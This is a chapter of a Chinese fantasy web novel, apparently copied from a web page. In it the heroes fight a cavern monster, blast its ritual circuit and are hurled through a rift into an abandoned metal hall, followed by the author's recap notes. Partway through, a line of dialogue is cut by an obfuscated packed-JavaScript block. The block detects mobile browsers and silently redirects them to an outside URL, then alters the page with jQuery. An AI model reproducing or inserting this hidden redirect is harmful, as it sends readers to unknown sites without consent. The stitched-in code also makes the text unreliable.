时间在极致的恐惧与危机中,仿佛被无限拉长。庞大的、蠕动的、散发着无尽痛苦与毁灭欲望的“聚合体”,如同一个倒悬的、由污秽与残骸构成的山峦,将“目光”死死锁在众人身上。洞窟内,暗红光纹如血脉搏动,磷光摇曳如同鬼眼,污染能量浓稠得几乎化为实质的黑色粘液,从四面八方缓缓涌来,挤压着众人仅存的生存空间。
“清荷!昆图斯!姜绾姐!听我说!”宿弥的声音嘶哑,却带着一种强行压抑颤抖的、不容置疑的冷静,在众人被那恐怖怪物震慑、几乎凝固的意识中响起,“那东西盯上的是古卷,或者说,是我身上的‘锈痕’!它的目标很明确,是污染和吞噬!我们不能分散,不能各自为战!”
他深吸一口混杂着恶臭与死亡气息的空气,眼中闪过一丝决绝的光芒,将怀中冰冷的古卷握得更紧:“昆图斯,你现在的状态,还能发动一次强力的、大范围的、针对‘基源之彩’和污染能量的‘净化’或‘混乱’冲击吗?不需要杀敌,只需要制造足够大的、短暂的混乱,干扰它的感知和行动!”
昆图斯脸色惨白,嘴唇紧抿,但他看着宿弥的眼睛,又看了看那缓缓蠕动、不断吞噬融合着零散傀儡、变得更加强大的“聚合体”,重重点了点头,声音沙哑:“一次!但之后,我恐怕就……无法再战了。而且,必须有人为我争取至少五秒的蓄力和引导时间!”
“交给我和清荷!”姜绾立刻接口,她双手快速结印,数道比之前更加凝实、带着强烈“镇魂”与“辟邪”力量的金色符箓从她袖中飞出,悬浮在昆图斯身前身后,形成一个小型的、流动的守护光罩,“我会用‘行者’的‘定阵’和‘护身’符法,尽可能隔绝和削弱靠近你的污染冲击!清荷!”
“明白!”清荷将双斧交叠,深深吸了口气,眼中锐利的光芒如同出鞘的利刃,她调整姿态,挡在了昆图斯和“聚合体”之间,周身散发出一种孤注一掷的、纯粹的、斩断一切的“锋锐”之意,“我会用刀意和‘场’,正面牵引和切割它的攻击!五秒!多一秒,你就自己看着办!”
“宿弥,阿玄!”姜绾又看向宿弥和蹲在他肩头、浑身毛发炸起、翡翠眼中银光流转的阿玄,“你们的任务是找到突破口!宿弥,你与古卷和‘锈痕’的连接,是唯一的变数!阿玄,用你的‘场’保护他,帮他感应!一旦昆图斯的混乱冲击生效,无论那怪物什么反应,你们必须立刻找出最薄弱、或者最有可能脱离的方向!是那个裂缝,还是……别的什么!我们没有第二次机会!”
“大黑!”清荷低喝,一直守在众人外围、对着怪物发出低沉威胁咆哮的大黑,立刻竖起耳朵,转向她。“守护侧翼,任何靠近的零散傀儡或污染触须,撕碎它们!”
“汪!”大黑短促地回应,眼中凶光毕露。
计划简单,粗暴,近乎赌博。但在这绝对的死地,这是唯一能想到的、需要所有人协同押上一切的豪赌。
“行动!”宿弥低吼。
“开始!”昆图斯闭上双眼,双手猛地按在自己胸口,脸色瞬间由惨白转为一种不正常的、回光返照般的潮红。他体内残存的、本已受损的本源“色彩”之力,被他以近乎自毁的方式强行点燃、抽取、压缩!他面前那枚悬浮的水晶球,剧烈地震颤起来,表面开始出现细密的裂纹,内部的光芒从惨白,迅速向着一种极致的、仿佛要净化一切的纯白转变!一股毁灭性的、极其不稳定的能量正在其中疯狂酝酿!
与此同时,那“聚合体”似乎也察觉到了这群渺小猎物最后的挣扎。它庞大的、不断变幻的“躯体”猛地一滞,核心处那几块巨大的污染晶体骤然爆发出刺目的、令人眩晕的暗红光芒!一股混杂着无数痛苦嘶吼、疯狂呓语、以及纯粹毁灭意志的、更加狂暴的“精神风暴”和“污染冲击波”,如同无形的、粘稠的巨浪,朝着众人狠狠拍来!同时,其“躯体”上,延伸出数十条由扭曲骨骼、金属碎片和暗红能量构成的、如同巨大触手般的“肢体”,带着撕裂空气的尖啸,从不同角度,铺天盖地地抽打、缠绕而来!
“镇魂!辟邪!定!”姜绾喷出一口鲜血在双手结成的印诀上,悬浮的金色符箓光芒大盛,化作一道道坚韧的金色光墙和锁链,层层叠叠地迎向那无形的精神风暴和污染冲击,光墙在冲击下剧烈晃动、明灭不定,符箓以肉眼可见的速度迅速燃烧、化为灰烬,但竟奇迹般地暂时抵挡住了这第一波、最猛烈的攻势!姜绾闷哼一声,脸色煞白,显然消耗巨大。
“斩!”清荷在金色光墙的掩护下,不退反进!她如同扑火的飞蛾,迎着那抽打而来的、最粗壮的几条暗红触手冲去!双斧在她手中化作两道撕裂黑暗的银色匹练,带着斩断一切的决绝刀意,狠狠劈砍在触手之上!
“嗤啦——!!!”
令人牙酸的切割声和能量湮灭的爆响!清荷的斧刃深深嵌入暗红触手,其上的“锋锐”刀意疯狂绞杀着触手内部混乱的能量结构!然而,触手的数量太多,力量太强!被劈中的触手剧烈抽搐、崩裂,但更多的触手从侧面、头顶袭来!清荷身形如鬼魅般闪动,双斧舞成一片光幕,叮叮当当的碰撞声不绝于耳,火星四溅,但她的身体也在巨大的反震力下不断震颤,嘴角开始溢血,双臂衣袖被触手擦过的地方,瞬间腐蚀出焦黑的痕迹!
“一秒!”姜绾咬牙支撑着,又一张护符燃烧殆尽。
“两秒!”清荷被一条触手抽中肩头,护体能量破碎,肩胛骨发出不堪重负的呻吟,但她硬生生用斧柄格开另一条触手,借力向后滑出,卸去部分力道,口中鲜血狂喷。
“三秒!”昆图斯面前的纯白色水晶球,裂纹已经如同蛛网,内部的光芒炽烈到让人无法直视,他身体周围的空气都开始扭曲、蒸腾,仿佛随时要爆炸!他七窍流血,身体摇摇欲坠,但双手依旧死死按在胸口,维持着那毁灭性力量的注入。
就在此时,宿弥闭上了眼睛。他不再去看那恐怖的怪物,不再去听同伴的怒吼和闷哼,不再去感受那无处不在的死亡威胁。他将全部的心神,沉入怀中冰冷的古卷,沉入手臂上灼热欲燃的“锈痕”,沉入脑海中那璀璨而稳固的“钥匙”印记。
阿玄蹲在他肩头,翡翠眼中银光前所未有的明亮,那股温润宁静的“场”全力爆发,如同一个绝对安全的、小小的“庇护所”,将宿弥的意识核心包裹,隔绝了大部分来自外界的、混乱的精神污染和痛苦低语。
“古卷……‘锈痕’……联系……‘铸炉’……污染……仪式……”
宿弥的意念,如同最灵巧的手指,在“锈痕”与古卷之间那种冰冷、不稳定、却又异常清晰的“联系”上,轻轻“拨动”。
刹那间,一种奇异的、难以言喻的、仿佛“视角”被强行拉高、又像“感知”被强行接入某个古老、破损、充满杂音“线路”的感觉,涌了上来!
他“看”到的不再仅仅是眼前的“聚合体”,而是“看”到了这庞大怪物体内,那几块巨大污染晶体之间,存在着一条条极其细微、但确实存在的、由暗红色能量构成的、如同“血管”或“神经”般的连接网络。这个网络的核心,并非某个具体的点,而是……整个洞窟的地面!那些干涸的暗红色池子、沟渠,那些闪烁的暗红光纹,共同构成了一个庞大、破损、但仍在微弱运作的、与“聚合体”能量核心相连的、残缺的“仪式场”或“能量回路”!
而这个残缺的能量回路,与洞窟最深处、那个被强行轰开的、黑黢黢的巨大裂缝……似乎存在着某种若即若离的、“藕断丝连”般的、更加微弱、但本质更加“高级”和“冰冷”的联系!裂缝泄露出的、与“铸炉核心协议”隐隐相似的能量波动,与这洞窟的污染能量,并非同源,但却在某种极其粗糙、拙劣的层面,被那个失败的仪式强行“嫁接”和“污染”了!就像是在一条流淌着清泉的天然河道旁,强行挖开一个臭水沟,让污浊的泥水试图“污染”和“混入”清泉。
此刻,那“聚合体”怪物,就是这条“臭水沟”的最终产物,是污染能量与失败仪式残留意志的具现化。它的力量源泉,既来自于洞窟本身的污染能量回路,也……极其微弱地、扭曲地……试图汲取、甚至“污染”裂缝另一端泄露出的、那一丝丝更高级、更冰冷的能量!
“裂缝!那个裂缝!是连接着‘铸炉’相关区域的次级节点或泄露点!但这个怪物的仪式场,试图‘污染’和‘利用’它,结果失败了,反而被裂缝那边泄露的力量隐隐‘排斥’和‘压制’!裂缝周围,是它能量回路最薄弱、也最不稳定的地方!”宿弥猛地睁开眼睛,眼中银光一闪,嘶声喊道,“昆图斯!冲击那个裂缝口周围的地面!破坏它的能量回路节点!然后……我们冲进裂缝!”
“什么?!”众人皆是一惊。冲进那个散发着不祥气息的裂缝?里面是什么都不知道!但此刻,已无暇质疑。
“四秒!”姜绾又喷出一口血,守护符箓只剩下最后薄薄一层,摇摇欲坠。清荷更是浑身浴血,几乎成了一个血人,但她依旧死死钉在昆图斯前方,用身体和残破的双斧,挡下了一波又一波触手的狂攻。
“五秒!给我——开!”昆图斯发出了最后的、如同濒死野兽般的嘶吼,双手猛地向前一推!
“嗡——轰——!!!”
那枚布满裂纹、光芒炽烈到极致的纯白色水晶球,如同出膛的炮弹,并非射向“聚合体”本身,而是按照宿弥所指,划出一道灼目的光痕,狠狠撞向巨大裂缝入口附近、一片闪烁着格外明亮暗红光纹的、布满了干涸沟渠的地面!
无法形容的、纯粹由“净化”、“混乱”、“排斥”与“毁灭”构成的纯白色能量风暴,在水晶球撞击地面的瞬间,轰然爆发!如同在这片污秽的海洋中,投入了一颗太阳!光芒所及之处,暗红光纹寸寸断裂、湮灭!地面如同被无形的巨犁狠狠翻开!那些干涸的沟渠和池子瞬间炸裂!粘稠的黑色污染能量如同被烧开的沥青,疯狂沸腾、蒸发!
整个洞窟剧烈震动!巨大的“聚合体”发出一声惊天动地的、混杂了无尽痛苦的、仿佛来自地狱深处的恐怖尖啸!其庞大的身体剧烈抽搐、扭曲,核心处的污染晶体光芒疯狂闪烁、明灭不定,体表延伸出的触手纷纷痉挛、断裂、崩解!它似乎与那片被破坏的地面能量回路存在着极其紧密的联系,回路的瞬间崩溃,给它带来了难以想象的重创和混乱!它暂时失去了对身躯大部分区域的控制,疯狂地扭动着,反而将周围的傀儡残骸和岩壁撞得粉碎。
“就是现在!冲!”宿弥不顾脑海中因刚才强行感应而传来的阵阵针扎般的剧痛,一手死死抓着怀中的古卷,一手将摇摇欲坠的昆图斯猛地一拉,朝着那个被纯白能量风暴余波扫过、此刻正不断向内坍缩、边缘闪烁着不稳定暗红与幽蓝光芒的巨大裂缝冲去!阿玄伏在他肩头,翡翠眼中银光炽烈,用最后的“场”笼罩住两人。
“清荷!姜绾!跟上!”宿弥回头嘶吼。
清荷和姜绾没有任何犹豫。清荷丢下几乎报废的双斧,转身一把捞起同样受伤不轻、守护在侧翼的大黑,爆发出最后的潜力,冲向裂缝。姜绾则将最后几道残存的符箓拍在自己和清荷身上,暂时抵御裂缝口散逸的、混乱而危险的能量乱流。
“吼——!!!”
身后,那遭受重创、陷入疯狂的“聚合体”似乎终于从剧痛和混乱中找回一丝“神智”,它发现了猎物想要逃脱,发出了更加暴怒、更加疯狂的咆哮,残存的、更加粗壮的触手,混合着喷涌的暗红色污染能量,如同决堤的洪流,朝着即将冲入裂缝的众人背后,狠狠席卷而来!速度快得不可思议!
眼看那毁灭性的攻击就要追上落在最后的清荷和姜绾!
就在这千钧一发之际——
宿弥怀中,那冰冷的古卷,与他手臂上灼热到极致的“锈痕”,在接近裂缝、感受到裂缝内泄露出的、那一丝丝更加“原始”和“冰冷”的能量波动的瞬间,两者之间那种不稳定的联系,骤然被提升到了某个临界点!
嗡!
一股并非来自宿弥自身,也不是来自“钥匙”印记的、冰冷、混乱、却又带着某种极其微弱、极其遥远的、仿佛“回应”或“标记”意味的奇异波动,以古卷和“锈痕”为媒介,骤然爆发,如同投入水中的石子,朝着裂缝深处荡开!
裂缝内部,那原本只是缓慢泄露的、冰冷的、非人的能量波动,似乎被这奇异的、同源的、却又带着“污染”和“错误”标记的波动所触动,猛地一滞,随即……爆发出一阵极其短暂、但强度远超之前的、混乱的、带着“排斥”和“修正”意味的能量乱流!
这股乱流,正好与“聚合体”追来的攻击,在裂缝入口处,狠狠撞在一起!
“嗤——轰隆!!!”
无法形容的、能量湮灭与规则冲突的巨响!裂缝入口处,空间都仿佛被撕裂、扭曲!暗红色的污染狂潮与冰冷的幽蓝乱流疯狂对撞、湮灭!追来的几条最粗壮的触手瞬间被搅碎、蒸发!剩余的冲击力也将刚刚冲入裂缝、立足未稳的众人,如同狂风中的落叶般,狠狠地向后、向裂缝深处抛飞出去!
“啊——!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153765|196483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“抓紧!”
天旋地转!熟悉的、但又更加剧烈、更加混乱的空间错乱感再次降临!眼前是破碎的、难以理解的光影乱流,耳边是能量对撞的尖啸和空间结构的呻吟。身体仿佛在被无数只无形的大手撕扯、揉捏,怀中的古卷传来更加强烈的冰冷“标记”感,手臂上的“锈痕”灼热到仿佛要烙进灵魂深处!
这一次的“穿梭”,远比进入“边缘褶皱”更加狂暴、更加危险、更加……难以预测目的地。
不知过了多久,也许是一瞬,也许是永恒。
“砰!砰!砰!……”
重物落地的闷响和痛苦的呻吟接连响起。
宿弥感觉自己狠狠撞在了某种冰冷、坚硬、但相对平整的地面上,五脏六腑仿佛都移了位,喉咙一甜,又是一口血涌了上来。怀中的古卷依旧紧紧抓着,手臂上的“锈痕”灼热感稍稍减退,但那种冰冷的“标记”感却更加清晰了。他勉强睁开刺痛的眼睛,视线模糊了好一阵,才逐渐清晰。
入眼不再是污秽的洞窟,而是一个……风格迥异的、冰冷、规整、但同样死寂、且处处透着诡异和破损的巨大空间。
这里似乎是一个巨大的、半球形的、完全由某种非金非石、呈现出暗银与深灰交织的、带有明显工业或科技感风格的金属大厅。大厅的穹顶极高,布满了复杂而精密的、但大部分已经黯淡、损坏、甚至熔毁的巨大管道、机械臂和能量传输结构。地面是同样的暗银色金属,冰冷坚硬,镌刻着无数细密的、充满几何美感的纹路,但这些纹路也大多断裂、模糊。空气中弥漫着浓重的、带着机油、臭氧、以及某种……更加深沉、更加冰冷、仿佛来自机械核心深处的、无机质的、死寂的味道。能量浓度极低,几乎感应不到“色彩”或“场”的活跃,只有一种无处不在的、沉甸甸的、令人感到压抑和渺小的“静默”。
大厅的墙壁上,有许多巨大的、早已暗淡的观察窗,窗外是深邃的、仿佛没有尽头的黑暗,只有零星几点遥远、冰冷、如同星辰般的光点,缓缓移动。这里……似乎是在某种巨大的、停止运转的、飘浮在虚空中的金属造物内部?
而在大厅的中央,一个更加引人注目的、巨大的、破损的、呈现出暗金色泽的、结构复杂到难以理解的、如同某种巨型精密仪器核心或“熔炉”简化模型般的装置,静静地矗立着。装置表面布满了触目惊心的裂痕、凹坑和熔融痕迹,许多部件不翼而飞,只有中心一个篮球大小的、布满裂纹的、暗红色的、仿佛某种能量核心的晶体,还在极其缓慢、极其微弱地、如同垂死心脏般脉动着,散发着与“铸炉”体系同源、但更加“纯粹”和“冰冷”的、几乎微不可察的能量波动。
这个装置,与洞窟裂缝泄露出的能量,同源!但显然,它才是“正品”,而洞窟那边的,只是被“污染”和“扭曲”了的泄露。
这里……难道是“铸炉”的某个真正的、已经废弃的、微型的“次级节点”或“维护站点”?是“夜枭会”当年试图用拙劣仪式连接和污染的真正目标之一?
“咳咳……这……这是什么地方?”昆图斯虚弱的声音在不远处响起,他挣扎着坐起身,看着眼前完全陌生的、冰冷的景象,眼中充满了震撼和茫然。
清荷、姜绾、大黑也陆续艰难地爬起,每个人身上都带着不轻的伤势,脸色惨白,气息萎靡。但看到眼前这诡异的金属大厅和中央破损的装置,也都愣住了。
劫后余生的庆幸尚未升起,便被更深的疑惑和不安取代。
他们似乎……误入了一个更加神秘、更加危险,而且可能与“铸炉”核心秘密直接相关的、早已被遗忘的“遗迹”。
裂缝,并非生路,而是另一扇通往更深未知与危险的“门”。而他们,已经踏入了门内。
第五十五次置换,在绝境中引爆冲突、借助古卷与“锈痕”的诡异联系、触发未知能量乱流、闯入神秘遗迹的惊险过程中完成。用“全员重伤、濒临极限”、“昆图斯本源二次重创”、“清荷、姜绾战力大损”,以及“踏入绝对未知、与世隔绝的险地”,交换了“逃离‘聚合体’的必杀之局”、“获得关于‘铸炉’真正次级节点的第一手情报”、“古卷与‘锈痕’联系在特定条件下的新发现”。代价惨重,收获未知,前途莫测。
猫咪的私密日记片段(055)
团队制定搏命战术,昆图斯以近乎自毁方式发动终极净化冲击,清荷、姜绾拼死掩护。
宿弥冒险深入感应古卷与“锈痕”联系,发现洞窟仪式场与裂缝(疑似“铸炉”次级节点)的能量关联及弱点。团队集火破坏节点,引发怪物重创与混乱。
逃亡关键时刻,古卷与“锈痕”在靠近裂缝时产生异常共鸣,触发裂缝内未知能量乱流,与怪物攻击对撞,将团队炸入裂缝,传送到未知的、疑似废弃“铸炉”次级节点/维护站的金属大厅。
团队全员重伤,陷入与世隔绝、充满未知的“遗迹”。
第五十五次置换(绝地求生/误入遗迹):以“全员重伤濒死” + “踏入绝对未知险地” 为代价,交换 “逃离必死绝境” + “发现真正‘铸炉’次级节点遗迹” + “验证古卷/‘锈痕’在特定环境下的异常互动”。此为用惨痛代价与巨大风险,换取一线生机与颠覆性发现的残酷置换。
连锁反应更新:团队脱离“千傀山”污染区,但陷入更神秘的“铸炉”相关遗迹,与外界彻底失联。全员重伤,战力锐减。古卷与“锈痕”联系揭示新特性。发现“夜枭会”早期试图污染的真正目标之一。
蝴蝶效应系数累计:18.35。总体进度:55%。故事进入“遗迹探索”与“重伤求生”新阶段。脱离直接战斗,但陷入更宏大、更未知的谜团核心。团队状态极差,生存与探索压力巨大。
注:金属大厅的设定将“铸炉”体系的科技/工业侧面与古老神秘结合。古卷/“锈痕”触发裂缝能量,暗示其可能具备某种“钥匙”或“信标”功能。遗迹可能是理解“铸炉”与“总控枢纽”关系的关键。
——阿玄
冰冷的金属地面,死寂的庞大空间,中央破损的暗金色装置缓缓脉动。重伤的团队,怀揣着诡异的古卷,手臂带着灼烫的“锈痕”,站在这片与世隔绝的、仿佛被时光遗忘的遗迹之中。
苏老人的古卷拿到了,但似乎也打开了潘多拉的魔盒。
“别墅”的坐标依旧遥远,而眼前,是更加扑朔迷离、危机四伏的“铸炉”遗迹。生存,依旧是第一要务。